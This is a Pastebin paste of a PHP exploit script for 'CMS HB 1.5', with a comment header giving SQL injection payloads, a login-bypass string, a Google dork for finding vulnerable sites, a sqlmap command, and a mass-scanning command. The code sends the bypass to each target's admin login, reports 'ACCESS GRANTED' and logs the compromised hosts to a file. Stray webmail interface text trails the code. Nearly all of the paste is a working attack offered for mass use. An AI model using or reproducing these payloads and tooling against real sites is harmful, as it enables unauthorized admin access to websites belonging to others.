Advertisement
Guest User

Untitled

a guest
Jun 16th, 2015
352
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.92 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5. /*
  6.  
  7. [+] Discoverer Author: M3t4tr0n
  8.  
  9. [+] FACEBOOK: https://www.facebook.com/M3T4TR0N
  10.  
  11. [+] EMAIL: rammstain960@gmail.com
  12.  
  13. [*] Thanks M3t4tr0n
  14.  
  15. [*] Neither war between hackers, nor peace for the system.
  16.  
  17. ------------------------------------------------------------------------------
  18.  
  19.  
  20.  
  21. # SCRIPT by: [ I N U R L - B R A S I L ] - [ By GoogleINURL ]
  22.  
  23. # EXPLOIT NAME: XPL 0day CMS HB 1.5 / INURL BRASIL
  24.  
  25. # AUTOR: Cleiton Pinheiro / Nick: googleINURL
  26.  
  27. # Email: inurlbr@gmail.com
  28.  
  29. # Blog: http://blog.inurl.com.br
  30.  
  31. # Twitter: https://twitter.com/googleinurl
  32.  
  33. # Fanpage: https://fb.com/InurlBrasil
  34.  
  35. # Pastebin http://pastebin.com/u/Googleinurl
  36.  
  37. # GIT: https://github.com/googleinurl
  38.  
  39. # PSS: http://packetstormsecurity.com/user/googleinurl
  40.  
  41. # EA: http://exploit4arab.net/author/248/Cleiton_Pinheiro
  42.  
  43. # YOUTUBE: http://youtube.com/c/INURLBrasil
  44.  
  45. # PLUS: http://google.com/+INURLBrasil
  46.  
  47. ------------------------------------------------------------------------------
  48.  
  49.  
  50.  
  51. # FAILURE REPORTED: 15/maio/2015
  52.  
  53.  
  54.  
  55. # ADMINISTRATIVE ACCESS PANEL
  56.  
  57.  
  58.  
  59. # Vendor: http://www.hbwebecia.com.br/
  60.  
  61. # CMS HB 1.5
  62.  
  63.  
  64.  
  65. # Google Dork: inurl:base.php?pagina
  66.  
  67.  
  68.  
  69. # FILE VULN /admin/logar.phpxx
  70.  
  71. # POC: (POST)http://{YOU_URL}/admin/logar.php?login='=' 'or'&senha='=' 'or'&Submit3=Entrar
  72.  
  73.  
  74.  
  75. # FILE VULN /base.php
  76.  
  77. # POC: (GET)http://{YOU_URL}/base.php?pagina=noticia&id=1 + (SQLI)
  78.  
  79.  
  80.  
  81. # Type: boolean-based blind
  82.  
  83. Title: AND boolean-based blind - WHERE or HAVING clause
  84.  
  85. Payload: pagina=noticia&id=114' AND 1866=1866 AND 'qvCe'='qvCe
  86.  
  87.  
  88.  
  89. # Type: AND/OR time-based blind
  90.  
  91. Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
  92.  
  93. Payload: pagina=noticia&id=114' AND (SELECT * FROM (SELECT(SLEEP(5)))MPQc) AND 'MJVC'='MJVC
  94.  
  95.  
  96.  
  97. # Type: UNION query
  98.  
  99. Title: Generic UNION query (NULL) - 7 columns
  100.  
  101. Payload: pagina=noticia&id=114' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a786b71,0x664a78565a7276576e76,0x71787a7871),NULL,NULL--
  102.  
  103.  
  104.  
  105. # USE SQLMAP:
  106.  
  107. ./sqlmap.py -u 'http://{YOU_URL}/base.php?pagina=noticia&id=1' //
  108.  
  109. --dbs --random-agent --level 3 --risk 2 --proxy 'http://localhost:8118' //
  110.  
  111. --dbms='MySQL' --threads 3 --time-sec 10 --identify-waf --text-only //
  112.  
  113. --flush-session --batch
  114.  
  115.  
  116.  
  117. # EXECUTE: php xpl.php -t http://target.us
  118.  
  119.  
  120.  
  121. # FILE_OUTPUT : HB.txt
  122.  
  123.  
  124.  
  125. # EXPLOIT MASS USE SCANNER INURLBR
  126.  
  127. php inurlbr.php --dork 'inurl:base.php?pagina" ext:php' -s output.txt --command-all 'php xpl.php -t _TARGET_'
  128.  
  129. More details about inurlbr scanner: https://github.com/googleinurl/SCANNER-INURLBR
  130.  
  131. ------------------------------------------------------------------------------
  132.  
  133.  
  134.  
  135.  
  136.  
  137. */
  138.  
  139. error_reporting(1);
  140.  
  141. set_time_limit(0);
  142.  
  143. ini_set('display_errors', 1);
  144.  
  145. ini_set('max_execution_time', 0);
  146.  
  147. ini_set('allow_url_fopen', 1);
  148.  
  149. ob_implicit_flush(true);
  150.  
  151. ob_end_flush();
  152.  
  153.  
  154.  
  155. $op_ = getopt('f:t:', array('help::'));
  156.  
  157. echo "[+] [Exploit]: XPL 0day CMS HB 1.5 / INURL BRASIL \n";
  158.  
  159. $menu = "
  160.  
  161. -t : SET TARGET.
  162.  
  163. Execute:
  164.  
  165. php xpl.php -t target
  166.  
  167. php xpl.php -t target/path
  168.  
  169. \n";
  170.  
  171. echo isset($op_['help']) ? exit($menu) : NULL;
  172.  
  173. $params = array(
  174.  
  175. 'host' => not_isnull_empty($op_['t']) ? (strstr($op_['t'], 'http') ? $op_['t'] : "http://{$op_['t']}") : exit("\n[x] [ERRO] DEFINE TARGET!\n"),
  176.  
  177. 'line' => "-----------------------------------------------------------------------------------------------"
  178.  
  179. );
  180.  
  181.  
  182.  
  183. function __plus() {
  184.  
  185. ob_flush();
  186.  
  187. flush();
  188.  
  189. }
  190.  
  191.  
  192.  
  193. function not_isnull_empty($valor = NULL) {
  194.  
  195. RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE;
  196.  
  197. }
  198.  
  199.  
  200.  
  201. function __request($params) {
  202.  
  203. $objcurl = curl_init();
  204.  
  205. curl_setopt($objcurl, CURLOPT_URL, "{$params['host']}/admin/logar.php");
  206.  
  207. curl_setopt($objcurl, CURLOPT_USERAGENT, "Mozilla/" . rand(1, 50) . ".0 (compatible; MSIE " . rand(1, 50) . "." . rand(1, 50) . "1; Windows NT " . rand(1, 50) . ".0)");
  208.  
  209. curl_setopt($objcurl, CURLOPT_POST, 1);
  210.  
  211. curl_setopt($objcurl, CURLOPT_TIMEOUT, 5);
  212.  
  213. curl_setopt($objcurl, CURLOPT_POSTFIELDS, array('login' => "'=' 'or'", 'senha' => "'=' 'or'", 'Submit3' => 'Entrar'));
  214.  
  215. curl_setopt($objcurl, CURLOPT_SSL_VERIFYPEER, 0);
  216.  
  217. curl_setopt($objcurl, CURLOPT_SSL_VERIFYHOST, 0);
  218.  
  219. curl_setopt($objcurl, CURLOPT_RETURNTRANSFER, 1);
  220.  
  221. curl_setopt($objcurl, CURLOPT_CONNECTTIMEOUT, 5);
  222.  
  223. curl_setopt($objcurl, CURLOPT_FRESH_CONNECT, 1);
  224.  
  225.  
  226.  
  227. $info[0] = curl_exec($objcurl);
  228.  
  229. $info[1] = curl_getinfo($objcurl);
  230.  
  231. $info[2] = curl_error($objcurl);
  232.  
  233.  
  234.  
  235. curl_close($objcurl) . __plus();
  236.  
  237. unset($objcurl);
  238.  
  239.  
  240.  
  241. return $info;
  242.  
  243. }
  244.  
  245.  
  246.  
  247. print "\n" . date("h:m:s") . " [+][XPL SEND POST]: array('login' => \"'=' 'or'\", 'senha' => \"'=' 'or'\", 'Submit3' => 'Entrar')";
  248.  
  249.  
  250.  
  251. $_h = __request($params);
  252.  
  253.  
  254.  
  255. if (strstr($_h[1]['redirect_url'], '/admin/index.php')) {
  256.  
  257.  
  258.  
  259. print "\n" . date("h:m:s") . " [+][RETURN]:: ACCESS GRANTED!";
  260.  
  261. print "\n" . date("h:m:s") . " [+][URL]:: {$params['host']}/admin/index.php [ OK ]";
  262.  
  263. print "\n" . date("h:m:s") . " [+][LOGIN]:: '=' 'or'";
  264.  
  265. print "\n" . date("h:m:s") . " [+][SENHA]:: '=' 'or' \n{$params['line']}\n";
  266.  
  267. file_put_contents("HB.txt", "{$params['host']} - LOGIN: '=' 'or' / SENHA: '=' 'or'\n\n", FILE_APPEND);
  268.  
  269. __plus();
  270.  
  271. } else {
  272.  
  273.  
  274.  
  275. print "\n" . date("h:m:s") . " [x][NOT VULN] " . (isset($_h[2]) && !empty($_h[2]) ? " - [DETAILS]::{$_h[2]}" : NULL) . "\n{$params['line']}\n\n";
  276.  
  277. }
  278.  
  279.  
  280.  
  281. Click here to Reply, Reply to all or Forward
  282.  
  283. 0.03 GB (0%) of 15 GB used
  284.  
  285. Manage
  286.  
  287. Terms - Privacy
  288.  
  289. Last account activity: 3 days ago
  290.  
  291. Details
  292.  
  293.  
  294.  
  295.  
  296.  
  297. People (3)
  298.  
  299. INURL Brasil's profile photo
  300.  
  301. INURL Brasil
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement